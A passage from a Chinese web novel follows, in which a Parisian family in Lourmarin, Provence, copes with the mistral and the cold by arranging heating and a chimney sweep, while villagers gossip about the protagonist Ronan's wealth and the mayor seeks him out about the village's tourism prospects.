普罗旺斯人不喜欢一切糟糕的天气,这场似乎不会休止的风把大家的心情吹的越来越凉,连普罗旺斯地方电台里都在播报,xx村的xx村民因为这场大风自杀,被家人发现救治的过程中再次自杀未遂的消息。 去弗拉西耶的路上,沿途有无数绅士对罗南弯腰鞠躬——它们全部是被风吹的低下头的树木。 天空里一会飞过一个塑料袋,一会飞过一件破衣服落叶像暗器一样不停的拍打他的车子。 罗南把车停好,打开门差点没站住。 他喜欢下雨天,但他实在想不出任何可以喜欢上大风天的原因。 伴随大风的一定还有降温。 在阳光充足的地方感觉没有那么明显,进入树林后马上觉得冷了,到了密林里体感温度更加低。 罗南甚至觉得这里的温度可能已经来到了10度或者5度左右。 在没有阳光的密林区域挖了一整天松露,罗南浑身冷透了,回家的路上,一直在幻想着好好洗个热水澡,之后躺在温暖的大床上睡觉的美好场景。 不过当他回到家,意外发现家里居然一点也不温暖。 “怎么这么冷,白天忘记关窗户了吗?”罗南连外套都不想脱。 冯珍也穿着厚厚的外套: “这几天一直都是这个温度,我昨天还跟你爸爸说,晚上要加床被子了。” 罗天海对罗南说: “你前几天没进山,感觉不明显,冻了一天吧?” 他站起来,饶有兴致的去研究壁炉: “我明天早上砍点柴,咱们把壁炉点起来。” “可以可以!”冯珍也兴奋的过去看,“我还没用过壁炉呢,赶紧点起来!” 巴黎的消防法不允许在室内使用壁炉。 这东西是他们在电视里才能看到的东西,从第一次来就开始好奇了。 罗天海兴致勃勃的开门出去找工具: “我现在就去砍柴,罗南去年没用完的木柴放在驴棚里了。” 冯珍又披了一件外套,跟着罗天海一起出去: “我跟你一起去,也让我劈几下试试吧?” 罗南又喝了一口热水,身体不受控的打了个冷颤: “再过两个月你们就没有玩的心情了。” 餐厅装修的那几个月,罗南每天都去佐伊家和她一起吃饭。 餐厅开业后,佐伊经常来餐厅聚会,还会去那里吃饭。 可以说之前的几个月,小情侣天天都能见面。 但罗南进山后,白天他们没有了见面的机会,要见面只能放到晚上。 虽然晚上风更大了,气温也更低了,但佐伊还是坚持和罗南出来夜游。 她说夜游的感觉和在家里不一样。 在家里他们会被父母团团围住,出来夜游才有谈恋爱的感觉。 不过今年的恋爱谈不了几天了。 罗南死死的拉着佐伊的手,生怕她跟那些塑料袋和破衣服一样也飞起来: “降温了,明天别出来了。” 在普罗旺斯艺术家圈子呼风唤雨的佐伊,像小鸟一样扎在罗南的怀里躲避强风: “怎么这么快就到冬天了呢。” 罗南后怕似的说: “现在才11月,普罗旺斯的2月才吓人呢.比巴黎冷多了。” 佐伊突然拉了下罗南的手,罗南停下看她。 “我想给家里装一套好一点的暖气系统,你是不是年初的时候问过?”佐伊看着罗南问。 罗南突然把佐伊抱起来: “我就说我们般配,我出来的时候还在想这件事,要解决暖气的问题了。” 普罗旺斯的冬天虽然短,但冷也是真的冷。 父母年纪大了,不该吃他年初受过的苦。 佐伊抱着罗南的脖子: “你不要操心,我来负责这件事,你安心去山里。” 罗南摇头: “不行,你不知道那老头有多黑,我得和他好好讲讲价。” 卖暖气和马桶的西蒙是罗南在普罗旺斯见过最黑心的商人,没有之一。 他发誓要把在马桶上失去的金钱全部找回来! 佐伊调皮的撇了下嘴: “我们也可以找找其他人,而且如果他忍心把几个大单子全部丢掉.就继续贪心吧。” 罗南笑着说: “哪有几个大单子啊,就两个。” 佐伊踮起脚,在罗南的嘴上轻轻一碰: “错!是三个我们还有一个结婚用的房子呢。” 第239章 故事的主角 为了讨论装暖气这等人生大事,罗南把佐伊送回家后没有着急离开,而是随着她一起进入了安静的室内,以便于那该死的西北风没有吹走任何一个单词。 “你想要住在商业街——”罗南鼓起勇气大胆的问,“我的意思是,你希望结婚后我们住在商业街吗?” 罗南以为亲近大自然,更适合养动物的农舍会是佐伊的选择。 但商业街的房子更利于佐伊社交。 是时候讨论一下他们的未来规划了。 佐伊笑着脱掉外套,语气轻快的说: “我和你讨论的似乎是暖气问题吧?” 罗南追着她问: “这是暖气的衍生话题。” 佐伊做出了一个‘放轻松’的动作: “现在还不是做选择的时候,但无论结婚后住在哪里,几个房子都要安装暖气的不是吗?既然要装就全部装了吧,你不用管这件事,我会尽快搞定的。” 罗南靠在墙上,开始畅想未来: “你说我们装修成什么风格好呢?你是不是看腻了法式乡村风?我们换成巴洛克或者新古典主义怎么样?我听你和朋友讨论过——” “你们打算结婚了吗???” 二人闻声回头,看到路易、利亚和维埃里全部围到门口,三脸期待的问。 佐伊解释那只是她习惯性调戏罗南的‘小手段’,但结婚的念头在罗南的心里生根发芽了。 在一起是佐伊主动提出的,结婚不能再让女方主动了吧? 为了加快结婚的进程,罗南结束了周五的卢尔马兰集市后又一次去了政府大楼找布兰科,希望知道现在要花多少钱才能买下商业街上的那间商铺。 但希尔维的回复还是同样的: “布兰科去阿维尼翁出差了,还没有回来,你再等几天好吗?” 罗南意外的问她: “去了那么久?有一周多了吧?” 希尔维严肃的说: “是的,布兰科这次去阿维尼翁有非常重要的事,而且行程非常多,否则也不会抛下妻子独自一人住在阿维尼翁,你知道的,他非常爱他的妻子。” 罗南点了一下头,问希尔维: “那你这里就有没能给我参考的数据吗?其他人没有咨询过回购的事情吗?” 希尔维笑着摇头: “没有,一个都没有,其他人可能根本就不在意有回购条款这件事村里能有几个你这样的有钱人啊罗南。” 罗南不停的摆手: “我算是什么有钱人啊,别乱说了。” 买地花了九十万、每年运营费用要花五六十万法郎的卢卡斯才是真正的有钱人呢。 希尔维微笑着把罗南送到政府大楼的门口: “跟我你还谦虚个什么?行了,只要布兰科回来,我会马上让他去找你的。” “谢谢。”罗南转头离开后马上变了脸,小声咕哝道,“最近村里又出什么新传闻了吗?” 他只是来咨询商铺的市价,自始至终从没提过要买房子的事情。 问问就是‘有钱人’了? 而且这是今天第四个称呼他为‘有钱人’的村民了。 那一天罗南为了堵住朋友们的嘴,在餐厅给大家展示了一天挖出来的松露量。 大家当然知道罗南不是在炫富,只是希望他们尊重自己的选择。 而这帮目击者也不会‘不负责’到见人就说: “你知道吗,罗南一天挖了3公斤的松露,3公斤的松露!他一天就能赚5000多!” 但这帮好事的普罗旺斯人又实在憋不住不去分享那一天遭受到的震惊。 不说出去浑身难受啊! 于是,卢尔马兰最近出现了一种奇怪的‘聊天风格’。 “康奈尔,你今年冬天怎么没去酒庄上班呢?之前不是每年都去吗?” 康奈尔把头发梳成‘罗南’的模样,不以为然的说: “我最近在帮罗南给其他餐厅送松露,不去酒庄上班了,说不定哪天罗南就把酒庄买下来送给我了,没必要去浪费时间。” “什么?你说罗南要买酒庄?!” “雷蒙·佩尼的作品在艾克斯拍卖行拍出了12万法郎的高价,真的会有人花那么高的价格买他的作品吗?他根本没有名气啊。” “会不会是自己哄抬价格,我听说在普罗旺斯有艺术家这样做哦。” “应该不会这么没有底线吧?这不是把艺术当资本运作了?” 见一桌女艺术家围绕一个话题争论不休,巴蒂适时的插入到她们的聊天中。 “各位小姐,名气和作品也不是完全挂钩的,万一雷蒙·佩尼也有一位欣赏他才华的密友呢?我的好朋友罗南也曾经想用20万法郎买下我的艺术品,但我直接把它送给罗南了,‘千金易得知己难求’啊。” “罗南.这个餐厅的老板罗南吗?”女艺术家问。 巴蒂顺势坐了下来,侃侃而谈的说: “当然了,在卢尔马兰还有第二个叫罗南的有钱家伙吗?” 几个女艺术期待的问: “你也是艺术家吗?” 巴蒂绅士的前倾了一下身子: “巴蒂,一位编织工艺艺术家,同时也是罗南的老师。” “哇!你居然是罗南的老师?!” 某一天晚上,罗南挖松露归来,坐在餐厅里吃饭,马上有几个村民和陌生的艺术家围过来,询问他买酒庄、买艺术品、买珠宝、买xx的故事。 罗南发现几个农夫的眼神躲躲闪闪,马上揪出了做坏事的始作俑者! 吃完饭,他坐到农夫堆里,语重心长的说: “你们以后不要再拿我乱编故事了。” 康奈尔做最后的抵抗: “是你的老师巴蒂编的故事,他骗到了好多女艺术家,那个该死的家伙看到你来马上心虚的躲起来了,刚刚他还在这里的。” 康奈尔看巴蒂非常不顺眼。 年轻漂亮的姑娘是用来骗的吗?那是用来疼的! 还好他没有和康奈尔‘抢’白月光阿斯特丽德.否则康奈尔必须给他个教训! 罗南似笑非笑的问: “村民里传的故事也是他编的?” 康奈尔小声抗议: “我承认我们有夸大的成分,但你确实是有钱人啊,这是事实。” 罗南高举双手,做出一个‘放过我吧’的动作: “你们换个人说吧,下次说卢卡斯,或者说说托马斯他们都是比我更有钱的家伙。” 法比安替康奈尔解释: “但说他们村民们不爱听啊,说你村民们都爱听.那些艺术家也是,他们知道卢卡斯和托马斯是谁吗?” 该死的西北风没有一点要停歇的意思。 每晚狂风都会疯狂拍打屋顶的瓦片和卧室的木窗,企图破门而入普罗旺斯人连造人的乐趣都被剥夺了。 你总要让我们找有点意思的事情做吧? 门口传来几声欢呼,他们看过去,发现是佐伊来了。 罗南去门口找佐伊,起身时不忘再次叮嘱几个农夫: “记住我说的话,不要再用我讲故事了。” 佐伊来找罗南是因为暖气的事。 男人买东西快,大概讲讲是什么、怎么用、哪里好后马上就付钱。 女人买东西都是精挑细选的。 佐伊已经担下安装暖气这个任务一周了,才刚弄清几种暖气的优劣势,今天是来找罗南商量应该装哪种暖气的。 “热效率最高的是天然气壁挂炉,但普罗旺斯还没有天然气管道,我听说现在正在修建中,也许明年或者后年这里就可以通气了。”佐伊纠结的说,“未来天然气肯定是最好的取暖方式,但需要等我们要等两年吗?” 罗南撇嘴: “我恐怕你听说的明年或者后年是最快的时间,我对普罗旺斯人的办事效率持怀疑态度。” 还是不要寄希望于把‘马上’的意思定义成今天的任何时候、‘明天’的意思指未来一周中某天的普罗旺斯人能按时让卢尔马兰通上天然气了。 佐伊点头表示赞同: “那就看看现在可以直接安装的几种吧,燃煤和燃木的几种方式你还要听听吗?它们的共同的优势是便宜,缺点是热效率低。” 罗南摇头: “热效低的通通不考虑了,都安暖气了取暖能力肯定是首要考虑的。” 在小情侣身后,几个喝酒的农夫默契的一起撇嘴,似乎在说: 听听,吃木头的机器在这两个人嘴里居然成‘优势’了! 在吕贝隆,居民严禁砍伐树木,壁炉和柴火炉烧的橡木和松木都是要花钱购买的。 以80-120㎡的乡村石屋为例,一个冬天要烧掉1.5吨-2吨的木柴,这还是在省着用的前提下。 如果日均燃烧时长超过10小时,这个消耗量还要增长。 1.8吨散装木柴的价格要1500法郎左右,劈好的木柴价格会翻一倍。 像亨利那样的家庭,1500法郎足够他们过一个月了。 罗南和佐伊居然说它便宜?! 小情侣继续商量他们的暖气计划。 “太阳能供暖在普罗旺斯使用的人也挺多,但很依赖天气,如果阴天效果会非常差,不过可以搭配其他取暖方式一起用。”佐伊给罗南介绍第二种暖气。 罗南想了想: “也不太好,还是找更稳定一些的吧。” 佐伊严肃的说: “我也这样觉得,而且这种技术的取暖设备十年来价格没变过,一直在8000-12000法郎之间,说明它的技术没有更新过,肯定很落后了。” 后桌的农夫们不再说说笑笑了。 8000-12000法郎的设备还落后吗? 罗南回忆起他年初找西蒙打听到的消息: “是不是现在最好的取暖方式是铸铁的暖气?” 佐伊敲了一下桌子: “没错,这是我觉得最好的取暖方式了——燃油供暖,在家里安装一个燃油锅炉,通过铸铁的散热器或者地暖管道供热,热效率可以达到70%,而且温度可控,唯一的缺点是有点贵。” 罗南想到之前的遭遇: “西蒙给我开过价,我家的面积要45000法郎。” 农夫们全部侧头看来。 多少? 你要用我一年的收入买几块铸铁的暖气片吗?? 佐伊得意的挑了下眉毛: “爸爸帮我们去找西蒙聊了,他愿意28000法郎卖给我们,这其中包含锅炉、油管、管道、散热器和人工的一切费用,爸爸说这个价格已经是‘甩卖’价格了。” “28000法郎?”罗南兴奋的说,“这么便宜吗?那就定这个吧!” 农夫们纷纷回头,惊讶的看向罗南: 28000法郎是便宜? 我们使用的是一个货币单位吗? 罗南对面的佐伊开心的‘嗯’了一声: “好,我回去就给西蒙先生打电话,告诉他我们订三套燃油供暖系统。” 农夫们又齐齐扭头,惊悚的看向佐伊: 你说什么? 三套?? 巴蒂不知从哪里冒出来,坐到农夫们的桌子上,小声说: “我们还是太保守了。” 康奈尔后悔似的拍了一下桌子: “一个酒庄算什么?罗南和佐伊一起可以考虑买城堡了!” 法比安起身离开了餐厅: “先走一步,皮埃尔两天没来了,我去他家看看,顺便讲讲新的故事。” 不拿罗南讲故事? 不可能,那是绝对不可能的! 这是全卢尔马兰人最爱听的故事‘主角’! 第240章 停止融合! 罗南和佐伊愉快的把安装暖气的事情定下来。 但初次来普罗旺斯过冬的冯珍和罗天海认为这件事可以不用那么冲动。 现在是存钱买房子的关键时刻。 花5万多法郎安装暖气真的必要吗? 这里不是地中海气候吗? 这是绝大部分人对普罗旺斯的误解。 他们认为普罗旺斯即使到了冬天也会有温暖的阳光,人们可以一年四季穿着盛装出席舞会,说不定老天爷给个面子,在冬天还能去地中海里游泳呢。 为了给父母好好上一节普罗旺斯气象课,罗南特意组织了一场聚会。 餐厅开业后,朋友之间的所有聚会都会在罗南的餐厅里举办。 以前罗天海和莉亚离不开后厨,聚会总是差几个人。 现在员工培训初见成效,不仅罗天海和莉亚每周都有休息日并可以在工作日中‘早退’一两个小时,妮可拉和弗洛西也可以出来参加聚会了。 餐厅里的员工都是村子里的熟人,一切好说。 “真的能冻死人吗?”听到弗雷迪说普罗旺斯的冬天能冻死人,冯珍惊讶的瞪大眼睛。 这和她听说的普罗旺斯完全不同啊。 弗雷迪以气象专家的口吻说: “普罗旺斯是地中海气候没错,但这里是吕贝隆啊,山区里的气温没办法和马赛和里昂比,我们这里的最低温度每年会到0度以下,取暖周期有3-4个月。” 阿兰看向妻子妮可拉: “吕贝隆的冬天确实很寒冷,我和妮可拉商量,今年好好存钱,明年也要升级供暖系统了。” 以前家里只有阿兰一个人赚钱,换暖气压力太大,但现在妮可拉也有工作了,一年存出一套供暖设备的钱轻而易举。 生活就在这样不知不觉中变好了! 老卡尔说的话最具分量,他看着罗天海和冯珍说: “千万不要轻视普罗旺斯的冬天,即使是阿维尼翁那种城市也有过零下十几度的记录,1976年这里经历了一场令人记忆犹新的寒潮,最低气温达到过零下15度,整个寒潮持续了两个月,卢尔马兰附近30%的橄榄树和葡萄都被冻死了。” 路易严肃的说: “我记得那年卡尔还是村长,村里的水管频频被冻裂,最长的一次停电了4天,他几乎每天都在进行各种紧急抢修.那一年是真冷啊,而且还有大风。” 罗天海动容的说: “那确实得解决取暖问题了。” 他问罗南和佐伊: “暖气多久能装好?” 佐伊皱着眉头说: “需要4-6周,订购设备加运输1周、现场施工2-4周、调试和验收1周,这是极致压缩后的工期,也就是说最快要到12月中旬才能用上暖气。” 佐伊最近一直在认真钻研暖气的事,大家知道她肯定尽力了。 罗天海对罗南说: “咱们先用壁炉,普罗旺斯最冷的月份不是2月吗?这两个月靠壁炉肯定没有问题。” 罗南点头: “家里还有一些木柴,可以先用起来,我明天再去订些新的木柴。” 弗雷迪打断了他们父子之间的对话: “等等,你们要直接用吗?不清理吗?” 罗南笑着看弗雷迪: “年初我清理过烟囱,清理到一半你把小黑送来了,我顶着大黑脸去迎接的你忘记了吗?” 回忆起来,如果不是因为那副场景,罗南可能会给小黑起一个更正式的名字。 小黑这名字听起来就没办法和玛格丽特‘门当户对’。 弗雷迪双手抱胸,又用‘安全专家’的语气严肃的说: “我记得你出来的时候手里只有一根扫帚,罗南,那种程度的清理是不够的,天气一冷,壁炉每天都会生火,没有清理干净的烟囱很容易失火。” 路易放下酒杯,也认真下来: “弗雷迪绝对没有危言耸听,在普罗旺斯,清扫烟囱是一件非常严肃的事情,不知道你的房屋保险员有没有告诉过你,如果你拿不出清扫烟囱的证明,一旦房屋失火,保险公司是不会理赔的。” 罗南听到了这辈子最荒唐的事: “如果我的房子不幸失火,清扫证明肯定也一起烧了.不对,我如何证明自己清扫过烟囱呢?” 罗南脑海中已经出现了他在凌烈的西北风中无家可归、被逼无奈和保险员据理力争的画面。 烟囱清扫证明是什么鬼东西? 阿兰耸肩,说出了一个让巴黎一家人长见识的事: “在吕贝隆还是有许多从中世纪便存在的专业烟囱清扫工,他们会给你开具具有法律依据的清扫证明。” 罗天海皱着眉头问: “清扫工可以开具具有法律依据的清扫证明?他们是政府旗下的某个部门吗?” 弗雷迪做出了一个吃惊的表情: “哦,不要小瞧这些烟囱清扫工,他们还需要进行职业认证呢。” 见多识广的路易回忆了一下: “那个考试叫CAP,学习燃烧原理、安全法规和急救知识,听说比莉亚的甜品师资格证书还难考下来,现在有这个资格证的人不多了。” 巴黎一家人面面相觑。 普罗旺斯真是片神奇的土地。 扫烟囱也要考证书?! 罗南一家都是行动力极强的人。 聚会回家,罗天海马上打开了由法国电信统一印发的‘电话年鉴’,即中国的‘黄页’,寻找这种据称从中世纪就开始流传下来的工种。 法国的黄页出现于 1883年,当时怀俄明电话公司委托当地一家印刷出版商创建了第一本电话年鉴,由于白纸用完了,有一部分使用了黄纸,那之后黄页的名称就这样流行起来。 之后的电话年鉴改进了这一概念,定义了两个类别:白色代表个人,按姓名分类;黄色表示专业人员,按活动领域划分。 通常情况下,在法国只要拥有固定电话就会被收录到地区内的电话年鉴中。 如果不想在电话年鉴中的白页出现自己的信息也可以支持,需在申请电话后再单独申请一项‘号码不公开’;政府官员与公众人物,例如警察、法官、政客等可申请强制隐藏信息;家庭暴力受害者等也可依据法院法令永久保密。 白页数据基于法国电信的用户开户档案,每年更新一次,比如罗南是在今年2月份申请固定电话的,那么明年更新出来的电话年鉴中就会出现他的信息。 展示样式为姓名+家庭住址+家庭电话。 不会公开职业,按照首字母排列。 如果想要根据职业寻找对应的人,就要去‘黄页’部分寻找了。 ‘黄页’按行业大类细分,例如餐厅、医院、修车厂等,每类下按字母或地区排列。 电话年鉴是每一个拥有电话的家庭必备的东西,也是很常用的东西,有些人即使不找电话也会拿出年鉴翻着玩。 在罗天海的概念中,每一个职业下都有几十、几百个机构,可以‘任君挑选’。 但当他找到‘烟囱清扫’一列,发现吕贝隆地区可供选择的机构只有两家。 如果这也是一门手艺,这代表它即将面临失传的风险。 罗天海抱着试一试的态度在9点多打去电话,对方不仅不生气还很热情的接待了他。 只是这位老兄报出的价格又让巴黎一家人吓到了。 “他说来清扫一次要400法郎。”罗天海捂住听筒对老婆和儿子说。 “他怎么不去抢啊!”冯珍不满的嘟囔。 烧一个冬天的柴才1500! 罗南无奈的说: “让他来吧,为了房子的安全不是吗?” 罗天海第二天留在家里接待那位专业的烟囱清扫工,冯珍去了餐厅,罗南照常去弗拉西耶的山林里采松露。 在过去的一周多中,罗南一直在他的‘秘密花园’外围呈‘之’字型行进,并没有进入春天的那片极度繁密的阔叶林带里。 不知道是效率提升的原因,还是运气好的原因。 扩大搜寻范围后,他这一路总能不停的采到松露,还没到‘秘密花园’就要往回走了。 现在经过这一周多的努力,沿途的松露都被他挖出来了,终于可以进入他真正的秘密花园里。 这一次进入密林,他没有向着春天行进的方向移动,而是换了一个方向。 松露需要3-8年才能成熟采收,那一片都被他挖的差不多了,不去浪费时间了。 但工作了一个小时后,罗南明显感觉到了不对劲。 效率提高,只是代表一天中可以寻找的面积变大了,但‘寸草不生’出现的频率应该不会变才对。 罗南挖过这片林子,春天来的时候没有这么频繁的停下过。 他掂了掂手里的松露袋子,一个小时已经有一斤了。 这绝对不是效率提升这么简单了。 “今年的野生松露多了。”罗南得出了这个结论。 而且他猜,今年的松露价格大跳水也一定受到了这个原因的影响。 大量野生松露涌入市场,再加上‘泡沫’破灭,共同导致了今年的这个局面。 2级【采集】带给罗南带来了许多植物学知识,今年野生松露突然增多的原因他也很快想明白了。 因为今年是一个多雨的年份。 雨季到来的早,又结束的晚,它们刺激了菌丝的生长,尤其是9月份的那场大雨,直接促进了菌子的实体膨大。 罗南相信不只是今年,未来几年普罗旺斯的野生松露都将比往前多因为他的脚下还有许多没被刺激但被降雨影响成型的菌丝了。 野生松露的增多对所有松露猎人来说是一个喜忧参半的消息,出货量的确增加了,但这同时代表未来几年的松露价格很可能都会维持现状,而大家想看到的局面其实是松露价格能持续增长。 罗南抬头看向天空。 天气和自然对普罗旺斯人的影响太大了。 它影响的不止是普罗旺斯人的心情,还有他们的生计。 几场雨就影响了一整个行业未来几年的发展走向. “怪不得普罗旺斯人自古就不喜欢任何坏天气。”罗南皱着眉头咕哝。 他觉得自己和普罗旺斯的‘融合’过程又消化了一大块。 专业的果然是专业的。 从山里回家时,罗南发现那位专业的烟囱清扫工居然还没有完成他的工作。 罗南想破了脑袋也想不明白——那个只有四五米长的烟囱居然需要清理这么长时间吗? 虽然工作没有做完,但那位高大的先生还是把传说中的‘清扫证明’给罗南开出来了。 罗南猜,那上面的几根乌黑指印就是可以被保险公司承认的印章吧。 “好了,这下你们可以放心了,保险公司绝对不会赖账的,明天我会继续来把剩下的工作做完。”那人颇有职业精神的说。 从父亲那里得知没干完的只有一点点小活后,罗南贴心的说: “没事,您不用特意跑一趟了,等什么时候再来卢尔马兰工作再干吧。” 黄页上只有两家机构,说明这些人每天都要往返于普罗旺斯的各个地区。 那位先生笑着说: “这恐怕很难吧这是我从业以来第一次接到卢尔马兰的订单。” 目送那人走后,罗南问罗天海: “他说的是什么意思?什么叫没接过卢尔马兰的订单?” 罗天海笑着摇头: “你是没见到白天有多少人来咱家围观,村民们说第一次在卢尔马兰见到烟囱清理工这种在黄页上都要灭绝了的职业,他们还说你果然是有钱人,有钱到不知道怎么花钱好了,这400法郎着实把你有钱人的身份坐实了。” “弗雷迪和路易不是说需要烟囱清扫凭证吗?”罗南觉得自己像是个傻子。 罗天海冷哼一声: “我也打电话问弗雷迪和路易了,他们说每年把烟囱清理的那么干净,房子怎么会着火呢?既然不会着火,要什么证明呢?” 罗南气愤的跺了一下脚。 为什么只说凭证的重要性,而不说你们都是自己打扫的呢? 他决定中止和普罗旺斯的‘融合’! 他才不要成为这些不靠谱的家伙!! 晚上8点多,家里的电话响了。 罗南一晚上都处于复杂的情绪中,以至于接电话的语气也没有多好。 “哪位,说。” 对面的人明显愣住了,几秒种后,电话那边传来一道女声: “是我,朱莉特。” “朱莉特,有什么事吗?”罗南的语气马上变了。 朱莉特小心翼翼的问: “我的电话是不是打来的不是时候?” 罗南马上给朱莉特表演了一段他在普罗旺斯人身上学到的讲故事本领: “没有没有,刚刚我家的狗在捣乱。” 朱莉特终于放下心来: “那就好,我明天会去梅纳村开会,结束之后可能会带几个同事去你的餐厅吃饭,你可以给我提前留下位置吗?” “当然可以。”罗南笑着说,“几个人?有什么特殊需求吗,我提前准备。” 朱莉特的声音里带上了笑意: “我的这几位同事对历史和艺术都很感兴趣,他们是旅游局的人罗南,你明天要好好给他们介绍下你的餐厅特色哦。” 第241章 两个?不,也许是三个 布兰科从阿维尼翁出差回来马上投入了卢尔马兰的日常工作中。 这一周积攒太多事情没有处理,一上班全是找他汇报的人。 “污水管道升级已进入第三阶段,预计在12月底完成,明年3月进入第四阶段工作,届时将完成全村70%以上住户和商铺的老旧管道更换。” “停车位规划已初步制定好,村口兴建一个可容量50-80个车位的停车场;靠近D27公路旁设立一个20-30个车位的临时停车场,供集市游客停车;商业街和卢尔马兰城堡中间的农田也设立一个临时停车场,车位约30-50个,这个数量可以吗?还要继续增加车位吗?” “布兰科,这个事情比较着急,10月份的税收数据你尽快确认,我要上报了。” 布兰科拿起税务明细,在‘职业税’的位置停下的目光: “这个月职业税增加了那么多?” 卢尔马兰只有不到50家企业,每个月的地方税费非常固定和透明。 以往到了10月份,税务情况会有明显下滑,因为游客走了,企业的营业额也会相应减少。 但今年10月的职业税居然增加了。 职业税按照企业和员工的实际工资缴纳,这代表这个月的企业赚到钱了啊。 财务部门的同事说: “罗南那一家餐厅占了绝大部分,在他的带动下,商业街上的其他店铺生意也挺不错的,比8、9月份都要好。” 布兰科呵呵笑了两声: “忘了他这个纳税大户了。” 提到罗南,希尔维问布兰科: “这次去阿维尼翁还顺利吗?” 布兰科去阿维尼翁之前和希尔维等几人说过,罗南给他推荐了一条卢尔马兰的特色发展之路,布兰科此行的目的便是去弄清这条路是否可行。 去了这么久,有没有结果啊? 布兰科沉吟了几秒,最终叹了一口气: “得到了一些消息,但还是不够准确。” 在见到科伦坦和朱莉特之前,布兰科已经放弃了让卢尔马兰围绕粉红酒发展的这条道路。 但发现罗南和两位政府官员关系甚好,甚至亲眼见识到那两个官员对罗南还有一点‘讨好’后,布兰科的心又开始动摇了。 他敢肯定,罗南在沃克吕兹省政府里一定有极深的人脉关系,说不定他认识一个官职极高的朋友。 所以罗南说的内部消息是真的? 旅游局真的想要保护粉红酒的传统酿造技术吗? 可布兰科知道,直接去问是问不到结果的。 他在沃克吕兹省也有一些熟悉的官员,他不止一次请朋友帮忙去打听一下旅游局的态度,回复永远是模棱两可的。 布兰科也亲自去了好几次旅游局,对方的态度倒是挺好,和他聊发展、聊可能性,可就是不说行不行始终让他‘先做再说’。 聊粉红酒是这个态度,聊绣被还是同样的态度根本猜不出来任何。 于是布兰科把主意打到了那些酿酒合作社上。 在阿维尼翁以北十几公里,有一个叫教皇新堡的区域,那里有几十家葡萄酒庄和酿酒合作社,是沃克吕兹省葡萄酒产业最集中的区域。 布兰科想去了解一下,是否有人找那里的酿酒合作社聊过改酿粉红酒的事。 卢尔马兰政府只有20几个工作人员,其中12个是正式员工,但他们大部分要身居数职,一个人可能就是一个部门。 其余的全部是兼职,上午在政府工作,下午就去干别的了。 布兰科不想给正式员工增添压力,也不想耽误兼职员工的其他工作,于是孤身一人去往阿维尼翁做‘调研’去了。 经过他这么一打听,发现的确有人在联系酿酒合作社的负责人制作粉红酒,但这些负责人无法肯定对方的身份,只说是某个组织发起的。 所以这到底是不是旅游局的动作呢? 见布兰科一脸愁容,希尔维劝解道: “没关系,我们一起想办法。” 布兰科这次出差谁都没带,一周多的时间走遍了教皇新堡,肯定已经尽力了。 布兰科笑着对她说: “没事,你们好好做民生建设,不用为明年申请预算的事情操心。” 旅游管理中心的负责人克劳德担忧的说: “你最近工作太拼了,还是休息几天吧,最近是旅行淡季,我那里的工作少,我和你一起找特色之路。” 布兰科认真的说: “你不能分心去干别的,要想办法把罗南的餐厅宣传出去,他一个人可以带动一整个村子的税收,这才是重中之重的事情。” 散会后,希尔维又找到布兰科: “罗南来找了你两次,想了解一下商业街现在的回购价格,实时价格我放在你桌子上了,你和其他部门碰一下,没有问题我把罗南叫来。” 布兰科摇头: “不用叫他过来,我太太喜欢上了他餐厅的味道,中午我们去那里吃饭,我和他见面说。” 希尔维提醒道: “罗南最近每天都会进山采松露,不一定在餐厅。” 布兰科想了下: “那也没关系,晚上我再去一趟,菜单上的许多菜都没吃过呢。” 希尔维撇嘴: “没见过哪个村长这么‘上赶着’村民的!” 布兰科和他们工作时威严的不行,怎么一沾上罗南就没有了村长架子了呢。 布兰科笑着纠正: “罗南不是一般的村民,他是卢尔马兰的‘功臣’,即使再多跑几趟也是应该的。” 上午11点,布兰科离开政府办公楼,向着商业街的方向走。 最近普罗旺斯在刮大风,街上又没有什么行人了,走到商业街上才能看到几个人,不过和上次来比还是少了不少。 除了埋怨天气把顾客吹走了之外,布兰科又想到了其他的问题。 冬天来了,市政建设又要经历一次严峻的考验。 希望今年的天气给力一些,卢尔马兰那些老旧水管和电线撑不住太过严峻的考验。 “要尽快凑足资金啊。”布兰科顿时感觉肩膀上的压力更大了,同时对旅游局的预算也更加期待和迫切了。 十几年前,梅纳村只是个和卢尔马兰一样拥有不到1000个村民的小村庄。 但在70年代末它们成功转型,经济主导从农业向旅游业倾斜,得到了沃克吕兹省旅游局数以百万、千万法郎的援助。 现如今梅纳村的旅游业贡献村庄GDP的 60%,农业占比降至 15%。 城镇规模是卢尔马兰的三倍大,还拥有属于自己的小型医院和学校。 之后吕贝隆又有几个效仿梅纳村的村庄成功转型,他们的背后全部有旅游局的支持。 普罗旺斯逐渐走向了世界的舞台,但卢尔马兰仍然是一个以农业为经济主导的村落留给布兰科的‘振兴’时间真的不多了。 一想到这些恼人的问题,布兰科脑中就会出现罗南的身影。 到底该不该坚定不移的相信罗南呢? 上次来餐厅没有和罗南说上话,布兰科的打算是最近无论如何也要和罗南聊一次了。 于是他一进餐厅就问伊莎贝尔: “罗南今天在餐厅吗?” 伊莎贝尔遗憾的摇头: “罗南今天在餐厅,但他今天又在招待朋友,需要我去转告他你来了吗?” 布兰科想了一下,摇头道: “那就让他忙吧,我晚上再来。” 他想要和罗南好好聊一次,没有任何外界干扰的那种。 “好。”伊莎贝尔点头,把布兰科带到了室内的某一个餐位。 外面的风太大,即使现在后院区域还开放,客人也会选择在室内用餐,于是布兰科一坐下又看到了罗南和他的朋友们。 这次和罗南坐在一起的人少了,只有六个人。 不过这六个人给布兰科的冲击比见到科伦坦和朱莉特那天还要大。 那不是在旅游局接待过他的两个人吗? 沃克吕兹省旅游局的人来卢尔马兰了? 来罗南的餐厅了?? 一脑袋问号的布兰科马上叫住了打算离开的伊莎贝尔: “你偷偷告诉罗南,我想和他谈谈。” 伊莎贝尔为难的说: “我上次也这样通知罗南了,但你却先离开了啊。” 即使你是村长,也不能让我一而再再而三的骗我的老板吧! 布兰科郑重的说: “这次我不会走,我今天必须和他聊聊。” 伊莎贝尔给罗南这桌送酒的时候,帮布兰科转达了他的话。 这次罗南没有动什么歪心思,让伊莎贝尔转达布兰科: “我等下就过去。” 说完,他起身和大家告别: “那我就不打扰各位吃饭了,祝你们吃的愉快,有问题随时叫我。” 这并不是罗南组织的聚会,而是朱莉特的工作饭局。 罗南只是作为餐厅老板给大家介绍一下装修风格、编织装饰和艺术家氛围.没有资格留下吃饭。 这些人接下来要聊的事情,并不是罗南可以听的。 布兰科和罗南接下来要聊的事情也不是其他人能听的。 见罗南向他走来,布兰科率先起身,来到室外区域,站在围栏边看远处的卢尔马兰城堡。 罗南很快出现在布兰科身边,和他并排站到一起,笑着说: 